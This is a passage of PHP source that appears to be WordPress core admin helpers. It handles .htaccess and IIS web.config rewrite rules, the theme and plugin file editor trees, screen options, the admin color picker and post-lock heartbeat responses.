function got_url_rewrite() {
	$got_url_rewrite = ( got_mod_rewrite() || $GLOBALS['is_nginx'] || $GLOBALS['is_caddy'] || iis7_supports_permalinks() );

	/**
	 * Filters whether URL rewriting is available.
	 *
	 * @since 3.7.0
	 *
	 * @param bool $got_url_rewrite Whether URL rewriting is available.
	 */
	return apply_filters( 'got_url_rewrite', $got_url_rewrite );
}

/**
 * Extracts strings from between the BEGIN and END markers in the .htaccess file.
 *
 * @since 1.5.0
 *
 * @param string $filename Filename to extract the strings from.
 * @param string $marker   The marker to extract the strings from.
 * @return string[] An array of strings from a file (.htaccess) from between BEGIN and END markers.
 */
function extract_from_markers( $filename, $marker ) {
	$result = array();

	if ( ! file_exists( $filename ) ) {
		return $result;
	}

	$markerdata = explode( "\n", implode( '', file( $filename ) ) );

	$state = false;

	foreach ( $markerdata as $markerline ) {
		if ( str_contains( $markerline, '# END ' . $marker ) ) {
			$state = false;
		}

		if ( $state ) {
			if ( str_starts_with( $markerline, '#' ) ) {
				continue;
			}

			$result[] = $markerline;
		}

		if ( str_contains( $markerline, '# BEGIN ' . $marker ) ) {
			$state = true;
		}
	}

	return $result;
}

/**
 * Inserts an array of strings into a file (.htaccess), placing it between
 * BEGIN and END markers.
 *
 * Replaces existing marked info. Retains surrounding
 * data. Creates file if none exists.
 *
 * @since 1.5.0
 *
 * @param string       $filename  Filename to alter.
 * @param string       $marker    The marker to alter.
 * @param array|string $insertion The new content to insert.
 * @return bool True on write success, false on failure.
 */
function insert_with_markers( $filename, $marker, $insertion ) {
	if ( ! file_exists( $filename ) ) {
		if ( ! is_writable( dirname( $filename ) ) ) {
			return false;
		}

		if ( ! touch( $filename ) ) {
			return false;
		}

		// Make sure the file is created with a minimum set of permissions.
		$perms = fileperms( $filename );

		if ( $perms ) {
			chmod( $filename, $perms | 0644 );
		}
	} elseif ( ! is_writable( $filename ) ) {
		return false;
	}

	if ( ! is_array( $insertion ) ) {
		$insertion = explode( "\n", $insertion );
	}

	$switched_locale = switch_to_locale( get_locale() );

	$instructions = sprintf(
		/* translators: 1: Marker. */
		__(
			'The directives (lines) between "BEGIN %1$s" and "END %1$s" are
dynamically generated, and should only be modified via WordPress filters.
Any changes to the directives between these markers will be overwritten.'
		),
		$marker
	);

	$instructions = explode( "\n", $instructions );

	foreach ( $instructions as $line => $text ) {
		$instructions[ $line ] = '# ' . $text;
	}

	/**
	 * Filters the inline instructions inserted before the dynamically generated content.
	 *
	 * @since 5.3.0
	 *
	 * @param string[] $instructions Array of lines with inline instructions.
	 * @param string   $marker       The marker being inserted.
	 */
	$instructions = apply_filters( 'insert_with_markers_inline_instructions', $instructions, $marker );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	$insertion = array_merge( $instructions, $insertion );

	$start_marker = "# BEGIN {$marker}";
	$end_marker   = "# END {$marker}";

	$fp = fopen( $filename, 'r+' );

	if ( ! $fp ) {
		return false;
	}

	// Attempt to get a lock. If the filesystem supports locking, this will block until the lock is acquired.
	flock( $fp, LOCK_EX );

	$lines = array();

	while ( ! feof( $fp ) ) {
		$lines[] = rtrim( fgets( $fp ), "\r\n" );
	}

	// Split out the existing file into the preceding lines, and those that appear after the marker.
	$pre_lines        = array();
	$post_lines       = array();
	$existing_lines   = array();
	$found_marker     = false;
	$found_end_marker = false;

	foreach ( $lines as $line ) {
		if ( ! $found_marker && str_contains( $line, $start_marker ) ) {
			$found_marker = true;
			continue;
		} elseif ( ! $found_end_marker && str_contains( $line, $end_marker ) ) {
			$found_end_marker = true;
			continue;
		}

		if ( ! $found_marker ) {
			$pre_lines[] = $line;
		} elseif ( $found_marker && $found_end_marker ) {
			$post_lines[] = $line;
		} else {
			$existing_lines[] = $line;
		}
	}

	// Check to see if there was a change.
	if ( $existing_lines === $insertion ) {
		flock( $fp, LOCK_UN );
		fclose( $fp );

		return true;
	}

	// Generate the new file data.
	$new_file_data = implode(
		"\n",
		array_merge(
			$pre_lines,
			array( $start_marker ),
			$insertion,
			array( $end_marker ),
			$post_lines
		)
	);

	// Write to the start of the file, and truncate it to that length.
	fseek( $fp, 0 );
	$bytes = fwrite( $fp, $new_file_data );

	if ( $bytes ) {
		ftruncate( $fp, ftell( $fp ) );
	}

	fflush( $fp );
	flock( $fp, LOCK_UN );
	fclose( $fp );

	return (bool) $bytes;
}

/**
 * Updates the htaccess file with the current rules if it is writable.
 *
 * Always writes to the file if it exists and is writable to ensure that we
 * blank out old rules.
 *
 * @since 1.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @return bool|null True on write success, false on failure. Null in multisite.
 */
function save_mod_rewrite_rules() {
	global $wp_rewrite;

	if ( is_multisite() ) {
		return;
	}

	// Ensure get_home_path() is declared.
	require_once ABSPATH . 'wp-admin/includes/file.php';

	$home_path     = get_home_path();
	$htaccess_file = $home_path . '.htaccess';

	/*
	 * If the file doesn't already exist check for write access to the directory
	 * and whether we have some rules. Else check for write access to the file.
	 */
	if ( ! file_exists( $htaccess_file ) && is_writable( $home_path ) && $wp_rewrite->using_mod_rewrite_permalinks()
		|| is_writable( $htaccess_file )
	) {
		if ( got_mod_rewrite() ) {
			$rules = explode( "\n", $wp_rewrite->mod_rewrite_rules() );

			return insert_with_markers( $htaccess_file, 'WordPress', $rules );
		}
	}

	return false;
}

/**
 * Updates the IIS web.config file with the current rules if it is writable.
 * If the permalinks do not require rewrite rules then the rules are deleted from the web.config file.
 *
 * @since 2.8.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @return bool|null True on write success, false on failure. Null in multisite.
 */
function iis7_save_url_rewrite_rules() {
	global $wp_rewrite;

	if ( is_multisite() ) {
		return;
	}

	// Ensure get_home_path() is declared.
	require_once ABSPATH . 'wp-admin/includes/file.php';

	$home_path       = get_home_path();
	$web_config_file = $home_path . 'web.config';

	// Using win_is_writable() instead of is_writable() because of a bug in Windows PHP.
	if ( iis7_supports_permalinks()
		&& ( ! file_exists( $web_config_file ) && win_is_writable( $home_path ) && $wp_rewrite->using_mod_rewrite_permalinks()
			|| win_is_writable( $web_config_file ) )
	) {
		$rule = $wp_rewrite->iis7_url_rewrite_rules( false );

		if ( ! empty( $rule ) ) {
			return iis7_add_rewrite_rule( $web_config_file, $rule );
		} else {
			return iis7_delete_rewrite_rule( $web_config_file );
		}
	}

	return false;
}

/**
 * Updates the "recently-edited" file for the plugin or theme file editor.
 *
 * @since 1.5.0
 *
 * @param string $file
 */
function update_recently_edited( $file ) {
	$oldfiles = (array) get_option( 'recently_edited' );

	if ( $oldfiles ) {
		$oldfiles   = array_reverse( $oldfiles );
		$oldfiles[] = $file;
		$oldfiles   = array_reverse( $oldfiles );
		$oldfiles   = array_unique( $oldfiles );

		if ( 5 < count( $oldfiles ) ) {
			array_pop( $oldfiles );
		}
	} else {
		$oldfiles[] = $file;
	}

	update_option( 'recently_edited', $oldfiles );
}

/**
 * Makes a tree structure for the theme file editor's file list.
 *
 * @since 4.9.0
 * @access private
 *
 * @param array $allowed_files List of theme file paths.
 * @return array Tree structure for listing theme files.
 */
function wp_make_theme_file_tree( $allowed_files ) {
	$tree_list = array();

	foreach ( $allowed_files as $file_name => $absolute_filename ) {
		$list     = explode( '/', $file_name );
		$last_dir = &$tree_list;

		foreach ( $list as $dir ) {
			$last_dir =& $last_dir[ $dir ];
		}

		$last_dir = $file_name;
	}

	return $tree_list;
}

/**
 * Outputs the formatted file list for the theme file editor.
 *
 * @since 4.9.0
 * @access private
 *
 * @global string $relative_file Name of the file being edited relative to the
 *                               theme directory.
 * @global string $stylesheet    The stylesheet name of the theme being edited.
 *
 * @param array|string $tree  List of file/folder paths, or filename.
 * @param int          $level The aria-level for the current iteration.
 * @param int          $size  The aria-setsize for the current iteration.
 * @param int          $index The aria-posinset for the current iteration.
 */
function wp_print_theme_file_tree( $tree, $level = 2, $size = 1, $index = 1 ) {
	global $relative_file, $stylesheet;

	if ( is_array( $tree ) ) {
		$index = 0;
		$size  = count( $tree );

		foreach ( $tree as $label => $theme_file ) :
			++$index;

			if ( ! is_array( $theme_file ) ) {
				wp_print_theme_file_tree( $theme_file, $level, $index, $size );
				continue;
			}
			?>
			<li role="treeitem" aria-expanded="true" tabindex="-1"
				aria-level="<?php echo esc_attr( $level ); ?>"
				aria-setsize="<?php echo esc_attr( $size ); ?>"
				aria-posinset="<?php echo esc_attr( $index ); ?>">
				<span class="folder-label"><?php echo esc_html( $label ); ?> <span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'folder' );
					?>
				</span><span aria-hidden="true" class="icon"></span></span>
				<ul role="group" class="tree-folder"><?php wp_print_theme_file_tree( $theme_file, $level + 1, $index, $size ); ?></ul>
			</li>
			<?php
		endforeach;
	} else {
		$filename = $tree;
		$url      = add_query_arg(
			array(
				'file'  => rawurlencode( $tree ),
				'theme' => rawurlencode( $stylesheet ),
			),
			self_admin_url( 'theme-editor.php' )
		);
		?>
		<li role="none" class="<?php echo esc_attr( $relative_file === $filename ? 'current-file' : '' ); ?>">
			<a role="treeitem" tabindex="<?php echo esc_attr( $relative_file === $filename ? '0' : '-1' ); ?>"
				href="<?php echo esc_url( $url ); ?>"
				aria-level="<?php echo esc_attr( $level ); ?>"
				aria-setsize="<?php echo esc_attr( $size ); ?>"
				aria-posinset="<?php echo esc_attr( $index ); ?>">
				<?php
				$file_description = esc_html( get_file_description( $filename ) );

				if ( $file_description !== $filename && wp_basename( $filename ) !== $file_description ) {
					$file_description .= '<br /><span class="nonessential">(' . esc_html( $filename ) . ')</span>';
				}

				if ( $relative_file === $filename ) {
					echo '<span class="notice notice-info">' . $file_description . '</span>';
				} else {
					echo $file_description;
				}
				?>
			</a>
		</li>
		<?php
	}
}

/**
 * Makes a tree structure for the plugin file editor's file list.
 *
 * @since 4.9.0
 * @access private
 *
 * @param array $plugin_editable_files List of plugin file paths.
 * @return array Tree structure for listing plugin files.
 */
function wp_make_plugin_file_tree( $plugin_editable_files ) {
	$tree_list = array();

	foreach ( $plugin_editable_files as $plugin_file ) {
		$list     = explode( '/', preg_replace( '#^.+?/#', '', $plugin_file ) );
		$last_dir = &$tree_list;

		foreach ( $list as $dir ) {
			$last_dir =& $last_dir[ $dir ];
		}

		$last_dir = $plugin_file;
	}

	return $tree_list;
}

/**
 * Outputs the formatted file list for the plugin file editor.
 *
 * @since 4.9.0
 * @access private
 *
 * @param array|string $tree  List of file/folder paths, or filename.
 * @param string       $label Name of file or folder to print.
 * @param int          $level The aria-level for the current iteration.
 * @param int          $size  The aria-setsize for the current iteration.
 * @param int          $index The aria-posinset for the current iteration.
 */
function wp_print_plugin_file_tree( $tree, $label = '', $level = 2, $size = 1, $index = 1 ) {
	global $file, $plugin;

	if ( is_array( $tree ) ) {
		$index = 0;
		$size  = count( $tree );

		foreach ( $tree as $label => $plugin_file ) :
			++$index;

			if ( ! is_array( $plugin_file ) ) {
				wp_print_plugin_file_tree( $plugin_file, $label, $level, $index, $size );
				continue;
			}
			?>
			<li role="treeitem" aria-expanded="true" tabindex="-1"
				aria-level="<?php echo esc_attr( $level ); ?>"
				aria-setsize="<?php echo esc_attr( $size ); ?>"
				aria-posinset="<?php echo esc_attr( $index ); ?>">
				<span class="folder-label"><?php echo esc_html( $label ); ?> <span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'folder' );
					?>
				</span><span aria-hidden="true" class="icon"></span></span>
				<ul role="group" class="tree-folder"><?php wp_print_plugin_file_tree( $plugin_file, '', $level + 1, $index, $size ); ?></ul>
			</li>
			<?php
		endforeach;
	} else {
		$url = add_query_arg(
			array(
				'file'   => rawurlencode( $tree ),
				'plugin' => rawurlencode( $plugin ),
			),
			self_admin_url( 'plugin-editor.php' )
		);
		?>
		<li role="none" class="<?php echo esc_attr( $file === $tree ? 'current-file' : '' ); ?>">
			<a role="treeitem" tabindex="<?php echo esc_attr( $file === $tree ? '0' : '-1' ); ?>"
				href="<?php echo esc_url( $url ); ?>"
				aria-level="<?php echo esc_attr( $level ); ?>"
				aria-setsize="<?php echo esc_attr( $size ); ?>"
				aria-posinset="<?php echo esc_attr( $index ); ?>">
				<?php
				if ( $file === $tree ) {
					echo '<span class="notice notice-info">' . esc_html( $label ) . '</span>';
				} else {
					echo esc_html( $label );
				}
				?>
			</a>
		</li>
		<?php
	}
}

/**
 * Flushes rewrite rules if siteurl, home or page_on_front changed.
 *
 * @since 2.1.0
 *
 * @param string $old_value
 * @param string $value
 */
function update_home_siteurl( $old_value, $value ) {
	if ( wp_installing() ) {
		return;
	}

	if ( is_multisite() && ms_is_switched() ) {
		delete_option( 'rewrite_rules' );
	} else {
		flush_rewrite_rules();
	}
}


/**
 * Resets global variables based on $_GET and $_POST.
 *
 * This function resets global variables based on the names passed
 * in the $vars array to the value of $_POST[$var] or $_GET[$var] or ''
 * if neither is defined.
 *
 * @since 2.0.0
 *
 * @param array $vars An array of globals to reset.
 */
function wp_reset_vars( $vars ) {
	foreach ( $vars as $var ) {
		if ( empty( $_POST[ $var ] ) ) {
			if ( empty( $_GET[ $var ] ) ) {
				$GLOBALS[ $var ] = '';
			} else {
				$GLOBALS[ $var ] = $_GET[ $var ];
			}
		} else {
			$GLOBALS[ $var ] = $_POST[ $var ];
		}
	}
}

/**
 * Displays the given administration message.
 *
 * @since 2.1.0
 *
 * @param string|WP_Error $message
 */
function show_message( $message ) {
	if ( is_wp_error( $message ) ) {
		if ( $message->get_error_data() && is_string( $message->get_error_data() ) ) {
			$message = $message->get_error_message() . ': ' . $message->get_error_data();
		} else {
			$message = $message->get_error_message();
		}
	}

	echo "<p>$message</p>\n";
	wp_ob_end_flush_all();
	flush();
}

/**
 * @since 2.8.0
 *
 * @param string $content
 * @return array
 */
function wp_doc_link_parse( $content ) {
	if ( ! is_string( $content ) || empty( $content ) ) {
		return array();
	}

	if ( ! function_exists( 'token_get_all' ) ) {
		return array();
	}

	$tokens           = token_get_all( $content );
	$count            = count( $tokens );
	$functions        = array();
	$ignore_functions = array();

	for ( $t = 0; $t < $count - 2; $t++ ) {
		if ( ! is_array( $tokens[ $t ] ) ) {
			continue;
		}

		if ( T_STRING === $tokens[ $t ][0] && ( '(' === $tokens[ $t + 1 ] || '(' === $tokens[ $t + 2 ] ) ) {
			// If it's a function or class defined locally, there's not going to be any docs available.
			if ( ( isset( $tokens[ $t - 2 ][1] ) && in_array( $tokens[ $t - 2 ][1], array( 'function', 'class' ), true ) )
				|| ( isset( $tokens[ $t - 2 ][0] ) && T_OBJECT_OPERATOR === $tokens[ $t - 1 ][0] )
			) {
				$ignore_functions[] = $tokens[ $t ][1];
			}

			// Add this to our stack of unique references.
			$functions[] = $tokens[ $t ][1];
		}
	}

	$functions = array_unique( $functions );
	sort( $functions );

	/**
	 * Filters the list of functions and classes to be ignored from the documentation lookup.
	 *
	 * @since 2.8.0
	 *
	 * @param string[] $ignore_functions Array of names of functions and classes to be ignored.
	 */
	$ignore_functions = apply_filters( 'documentation_ignore_functions', $ignore_functions );

	$ignore_functions = array_unique( $ignore_functions );

	$output = array();

	foreach ( $functions as $function ) {
		if ( in_array( $function, $ignore_functions, true ) ) {
			continue;
		}

		$output[] = $function;
	}

	return $output;
}

/**
 * Saves option for number of rows when listing posts, pages, comments, etc.
 *
 * @since 2.8.0
 */
function set_screen_options() {
	if ( ! isset( $_POST['wp_screen_options'] ) || ! is_array( $_POST['wp_screen_options'] ) ) {
		return;
	}

	check_admin_referer( 'screen-options-nonce', 'screenoptionnonce' );

	$user = wp_get_current_user();

	if ( ! $user ) {
		return;
	}

	$option = $_POST['wp_screen_options']['option'];
	$value  = $_POST['wp_screen_options']['value'];

	if ( sanitize_key( $option ) !== $option ) {
		return;
	}

	$map_option = $option;
	$type       = str_replace( 'edit_', '', $map_option );
	$type       = str_replace( '_per_page', '', $type );

	if ( in_array( $type, get_taxonomies(), true ) ) {
		$map_option = 'edit_tags_per_page';
	} elseif ( in_array( $type, get_post_types(), true ) ) {
		$map_option = 'edit_per_page';
	} else {
		$option = str_replace( '-', '_', $option );
	}

	switch ( $map_option ) {
		case 'edit_per_page':
		case 'users_per_page':
		case 'edit_comments_per_page':
		case 'upload_per_page':
		case 'edit_tags_per_page':
		case 'plugins_per_page':
		case 'export_personal_data_requests_per_page':
		case 'remove_personal_data_requests_per_page':
			// Network admin.
		case 'sites_network_per_page':
		case 'users_network_per_page':
		case 'site_users_network_per_page':
		case 'plugins_network_per_page':
		case 'themes_network_per_page':
		case 'site_themes_network_per_page':
			$value = (int) $value;

			if ( $value < 1 || $value > 999 ) {
				return;
			}

			break;

		default:
			$screen_option = false;

			if ( str_ends_with( $option, '_page' ) || 'layout_columns' === $option ) {
				/**
				 * Filters a screen option value before it is set.
				 *
				 * The filter can also be used to modify non-standard [items]_per_page
				 * settings. See the parent function for a full list of standard options.
				 *
				 * Returning false from the filter will skip saving the current option.
				 *
				 * @since 2.8.0
				 * @since 5.4.2 Only applied to options ending with '_page',
				 *              or the 'layout_columns' option.
				 *
				 * @see set_screen_options()
				 *
				 * @param mixed  $screen_option The value to save instead of the option value.
				 *                              Default false (to skip saving the current option).
				 * @param string $option        The option name.
				 * @param int    $value         The option value.
				 */
				$screen_option = apply_filters( 'set-screen-option', $screen_option, $option, $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
			}

			/**
			 * Filters a screen option value before it is set.
			 *
			 * The dynamic portion of the hook name, `$option`, refers to the option name.
			 *
			 * Returning false from the filter will skip saving the current option.
			 *
			 * @since 5.4.2
			 *
			 * @see set_screen_options()
			 *
			 * @param mixed   $screen_option The value to save instead of the option value.
			 *                               Default false (to skip saving the current option).
			 * @param string  $option        The option name.
			 * @param int     $value         The option value.
			 */
			$value = apply_filters( "set_screen_option_{$option}", $screen_option, $option, $value );

			if ( false === $value ) {
				return;
			}

			break;
	}

	update_user_meta( $user->ID, $option, $value );

	$url = remove_query_arg( array( 'pagenum', 'apage', 'paged' ), wp_get_referer() );

	if ( isset( $_POST['mode'] ) ) {
		$url = add_query_arg( array( 'mode' => $_POST['mode'] ), $url );
	}

	wp_safe_redirect( $url );
	exit;
}

/**
 * Checks if rewrite rule for WordPress already exists in the IIS 7+ configuration file.
 *
 * @since 2.8.0
 *
 * @param string $filename The file path to the configuration file.
 * @return bool
 */
function iis7_rewrite_rule_exists( $filename ) {
	if ( ! file_exists( $filename ) ) {
		return false;
	}

	if ( ! class_exists( 'DOMDocument', false ) ) {
		return false;
	}

	$doc = new DOMDocument();

	if ( $doc->load( $filename ) === false ) {
		return false;
	}

	$xpath = new DOMXPath( $doc );
	$rules = $xpath->query( '/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'WordPress\')]' );

	if ( 0 === $rules->length ) {
		return false;
	}

	return true;
}

/**
 * Deletes WordPress rewrite rule from web.config file if it exists there.
 *
 * @since 2.8.0
 *
 * @param string $filename Name of the configuration file.
 * @return bool
 */
function iis7_delete_rewrite_rule( $filename ) {
	// If configuration file does not exist then rules also do not exist, so there is nothing to delete.
	if ( ! file_exists( $filename ) ) {
		return true;
	}

	if ( ! class_exists( 'DOMDocument', false ) ) {
		return false;
	}

	$doc                     = new DOMDocument();
	$doc->preserveWhiteSpace = false;

	if ( $doc->load( $filename ) === false ) {
		return false;
	}

	$xpath = new DOMXPath( $doc );
	$rules = $xpath->query( '/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'WordPress\')]' );

	if ( $rules->length > 0 ) {
		$child  = $rules->item( 0 );
		$parent = $child->parentNode;
		$parent->removeChild( $child );
		$doc->formatOutput = true;
		saveDomDocument( $doc, $filename );
	}

	return true;
}

/**
 * Adds WordPress rewrite rule to the IIS 7+ configuration file.
 *
 * @since 2.8.0
 *
 * @param string $filename     The file path to the configuration file.
 * @param string $rewrite_rule The XML fragment with URL Rewrite rule.
 * @return bool
 */
function iis7_add_rewrite_rule( $filename, $rewrite_rule ) {
	if ( ! class_exists( 'DOMDocument', false ) ) {
		return false;
	}

	// If configuration file does not exist then we create one.
	if ( ! file_exists( $filename ) ) {
		$fp = fopen( $filename, 'w' );
		fwrite( $fp, '<configuration/>' );
		fclose( $fp );
	}

	$doc                     = new DOMDocument();
	$doc->preserveWhiteSpace = false;

	if ( $doc->load( $filename ) === false ) {
		return false;
	}

	$xpath = new DOMXPath( $doc );

	// First check if the rule already exists as in that case there is no need to re-add it.
	$wordpress_rules = $xpath->query( '/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'WordPress\')]' );

	if ( $wordpress_rules->length > 0 ) {
		return true;
	}

	// Check the XPath to the rewrite rule and create XML nodes if they do not exist.
	$xml_nodes = $xpath->query( '/configuration/system.webServer/rewrite/rules' );

	if ( $xml_nodes->length > 0 ) {
		$rules_node = $xml_nodes->item( 0 );
	} else {
		$rules_node = $doc->createElement( 'rules' );

		$xml_nodes = $xpath->query( '/configuration/system.webServer/rewrite' );

		if ( $xml_nodes->length > 0 ) {
			$rewrite_node = $xml_nodes->item( 0 );
			$rewrite_node->appendChild( $rules_node );
		} else {
			$rewrite_node = $doc->createElement( 'rewrite' );
			$rewrite_node->appendChild( $rules_node );

			$xml_nodes = $xpath->query( '/configuration/system.webServer' );

			if ( $xml_nodes->length > 0 ) {
				$system_web_server_node = $xml_nodes->item( 0 );
				$system_web_server_node->appendChild( $rewrite_node );
			} else {
				$system_web_server_node = $doc->createElement( 'system.webServer' );
				$system_web_server_node->appendChild( $rewrite_node );

				$xml_nodes = $xpath->query( '/configuration' );

				if ( $xml_nodes->length > 0 ) {
					$config_node = $xml_nodes->item( 0 );
					$config_node->appendChild( $system_web_server_node );
				} else {
					$config_node = $doc->createElement( 'configuration' );
					$doc->appendChild( $config_node );
					$config_node->appendChild( $system_web_server_node );
				}
			}
		}
	}

	$rule_fragment = $doc->createDocumentFragment();
	$rule_fragment->appendXML( $rewrite_rule );
	$rules_node->appendChild( $rule_fragment );

	$doc->encoding     = 'UTF-8';
	$doc->formatOutput = true;
	saveDomDocument( $doc, $filename );

	return true;
}

/**
 * Saves the XML document into a file.
 *
 * @since 2.8.0
 *
 * @param DOMDocument $doc
 * @param string      $filename
 */
function saveDomDocument( $doc, $filename ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	$config = $doc->saveXML();
	$config = preg_replace( "/([^\r])\n/", "$1\r\n", $config );

	$fp = fopen( $filename, 'w' );
	fwrite( $fp, $config );
	fclose( $fp );
}

/**
 * Displays the default admin color scheme picker (Used in user-edit.php).
 *
 * @since 3.0.0
 *
 * @global array $_wp_admin_css_colors
 *
 * @param int $user_id User ID.
 */
function admin_color_scheme_picker( $user_id ) {
	global $_wp_admin_css_colors;

	ksort( $_wp_admin_css_colors );

	if ( isset( $_wp_admin_css_colors['fresh'] ) ) {
		// Set Default ('fresh') and Light should go first.
		$_wp_admin_css_colors = array_filter(
			array_merge(
				array(
					'fresh'  => '',
					'light'  => '',
					'modern' => '',
				),
				$_wp_admin_css_colors
			)
		);
	}

	$current_color = get_user_option( 'admin_color', $user_id );

	if ( empty( $current_color ) || ! isset( $_wp_admin_css_colors[ $current_color ] ) ) {
		$current_color = 'fresh';
	}
	?>
	<fieldset id="color-picker" class="scheme-list">
		<legend class="screen-reader-text"><span>
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Admin Color Scheme' );
			?>
		</span></legend>
		<?php
		wp_nonce_field( 'save-color-scheme', 'color-nonce', false );
		foreach ( $_wp_admin_css_colors as $color => $color_info ) :

			?>
			<div class="color-option <?php echo ( $color === $current_color ) ? 'selected' : ''; ?>">
				<input name="admin_color" id="admin_color_<?php echo esc_attr( $color ); ?>" type="radio" value="<?php echo esc_attr( $color ); ?>" class="tog" <?php checked( $color, $current_color ); ?> />
				<input type="hidden" class="css_url" value="<?php echo esc_url( $color_info->url ); ?>" />
				<input type="hidden" class="icon_colors" value="<?php echo esc_attr( wp_json_encode( array( 'icons' => $color_info->icon_colors ) ) ); ?>" />
				<label for="admin_color_<?php echo esc_attr( $color ); ?>"><?php echo esc_html( $color_info->name ); ?></label>
				<div class="color-palette">
				<?php
				foreach ( $color_info->colors as $html_color ) {
					?>
					<div class="color-palette-shade" style="background-color: <?php echo esc_attr( $html_color ); ?>">&nbsp;</div>
					<?php
				}
				?>
				</div>
			</div>
			<?php

		endforeach;
		?>
	</fieldset>
	<?php
}

/**
 *
 * @global array $_wp_admin_css_colors
 */
function wp_color_scheme_settings() {
	global $_wp_admin_css_colors;

	$color_scheme = get_user_option( 'admin_color' );

	// It's possible to have a color scheme set that is no longer registered.
	if ( empty( $_wp_admin_css_colors[ $color_scheme ] ) ) {
		$color_scheme = 'fresh';
	}

	if ( ! empty( $_wp_admin_css_colors[ $color_scheme ]->icon_colors ) ) {
		$icon_colors = $_wp_admin_css_colors[ $color_scheme ]->icon_colors;
	} elseif ( ! empty( $_wp_admin_css_colors['fresh']->icon_colors ) ) {
		$icon_colors = $_wp_admin_css_colors['fresh']->icon_colors;
	} else {
		// Fall back to the default set of icon colors if the default scheme is missing.
		$icon_colors = array(
			'base'    => '#a7aaad',
			'focus'   => '#72aee6',
			'current' => '#fff',
		);
	}

	echo '<script type="text/javascript">var _wpColorScheme = ' . wp_json_encode( array( 'icons' => $icon_colors ) ) . ";</script>\n";
}

/**
 * Displays the viewport meta in the admin.
 *
 * @since 5.5.0
 */
function wp_admin_viewport_meta() {
	/**
	 * Filters the viewport meta in the admin.
	 *
	 * @since 5.5.0
	 *
	 * @param string $viewport_meta The viewport meta.
	 */
	$viewport_meta = apply_filters( 'admin_viewport_meta', 'width=device-width,initial-scale=1.0' );

	if ( empty( $viewport_meta ) ) {
		return;
	}

	echo '<meta name="viewport" content="' . esc_attr( $viewport_meta ) . '">';
}

/**
 * Adds viewport meta for mobile in Customizer.
 *
 * Hooked to the {@see 'admin_viewport_meta'} filter.
 *
 * @since 5.5.0
 *
 * @param string $viewport_meta The viewport meta.
 * @return string Filtered viewport meta.
 */
function _customizer_mobile_viewport_meta( $viewport_meta ) {
	return trim( $viewport_meta, ',' ) . ',minimum-scale=0.5,maximum-scale=1.2';
}

/**
 * Checks lock status for posts displayed on the Posts screen.
 *
 * @since 3.6.0
 *
 * @param array  $response  The Heartbeat response.
 * @param array  $data      The $_POST data sent.
 * @param string $screen_id The screen ID.
 * @return array The Heartbeat response.
 */
function wp_check_locked_posts( $response, $data, $screen_id ) {
	$checked = array();

	if ( array_key_exists( 'wp-check-locked-posts', $data ) && is_array( $data['wp-check-locked-posts'] ) ) {
		foreach ( $data['wp-check-locked-posts'] as $key ) {
			$post_id = absint( substr( $key, 5 ) );

			if ( ! $post_id ) {
				continue;
			}

			$user_id = wp_check_post_lock( $post_id );

			if ( $user_id ) {
				$user = get_userdata( $user_id );

				if ( $user && current_user_can( 'edit_post', $post_id ) ) {
					$send = array(
						'name' => $user->display_name,
						/* translators: %s: User's display name. */
						'text' => sprintf( __( '%s is currently editing' ), $user->display_name ),
					);

					if ( get_option( 'show_avatars' ) ) {
						$send['avatar_src']    = get_avatar_url( $user->ID, array( 'size' => 18 ) );
						$send['avatar_src_2x'] = get_avatar_url( $user->ID, array( 'size' => 36 ) );
					}

					$checked[ $key ] = $send;
				}
			}
		}
	}

	if ( ! empty( $checked ) ) {
		$response['wp-check-locked-posts'] = $checked;
	}

	return $response;
}

/**
 * Checks lock status on the New/Edit Post screen and refresh the lock.
 *
 * @since 3.6.0
 *
 * @param array  $response  The Heartbeat response.
 * @param array  $data      The $_POST data sent.
 * @param string $screen_id The screen ID.
 * @return array The Heartbeat response.
 */
function wp_refresh_post_lock( $response, $data, $screen_id ) {
	if ( array_key_exists( 'wp-refresh-post-lock', $data ) ) {
		$received = $data['wp-refresh-post-lock'];
		$send     = array();

		$post_id = absint( $received['post_id'] );

		if ( ! $post_id ) {
			return $response;
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return $response;
		}

		$user_id = wp_check_post_lock( $post_id );
		$user    = get_userdata( $user_id );

		if ( $user ) {
			$error = array(
				'name' => $user->display_name,
				/* translators: %s: User's display name. */
				'text' => sprintf( __( '%s has taken over and is currently editing.' ), $user->display_name ),
			);

			if ( get_option( 'show_avatars' ) ) {
				$error['avatar_src']    = get_avatar_url( $user->ID, array( 'size' => 64 ) );
				$error['avatar_src_2x'] = get_avatar_url( $user->ID, array( 'size' => 128 ) );
			}

			$send['lock_error'] = $error;
		} else {
			$new_lock = wp_set_post_lock( $post_id );

			if ( $new_lock ) {
				$send['new_lock'] = implode( ':', $new_lock );
			}
		}

		$response['wp-refresh-post-lock'] = $send;
	}

	return $response;
}

/**
 * Checks nonce expiration on the New/Edit Post screen and refresh if needed.
 *
 * @since 3.6.0
 *
 * @param array  $response  The Heartbeat response.
 * @param array  $data      The $_POST data sent.
 * @param string $screen_id The screen ID.
 * @return array The Heartbeat response.
 */
function wp_refresh_post_nonces( $response, $data, $screen_id ) {
	if ( array_key_exists( 'wp-refresh-post-nonces', $data ) ) {
		$received = $data['wp-refresh-post-nonces'];

		$response['wp-refresh-post-nonces'] = array( 'check' => 1 );

		$post_id = absint( $received['post_id'] );

		if ( ! $post_id ) {
			return $response;
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return $response;
		}

		$response['wp-refresh-post-nonces'] = array(
			'replace' => array(
				'getpermalinknonce'    => wp_create_nonce( 'getpermalink' ),
				'samplepermalinknonce' => wp_create_nonce( 'samplepermalink' ),
				'closedpostboxesnonce' => wp_create_nonce( 'closedpostboxes' ),
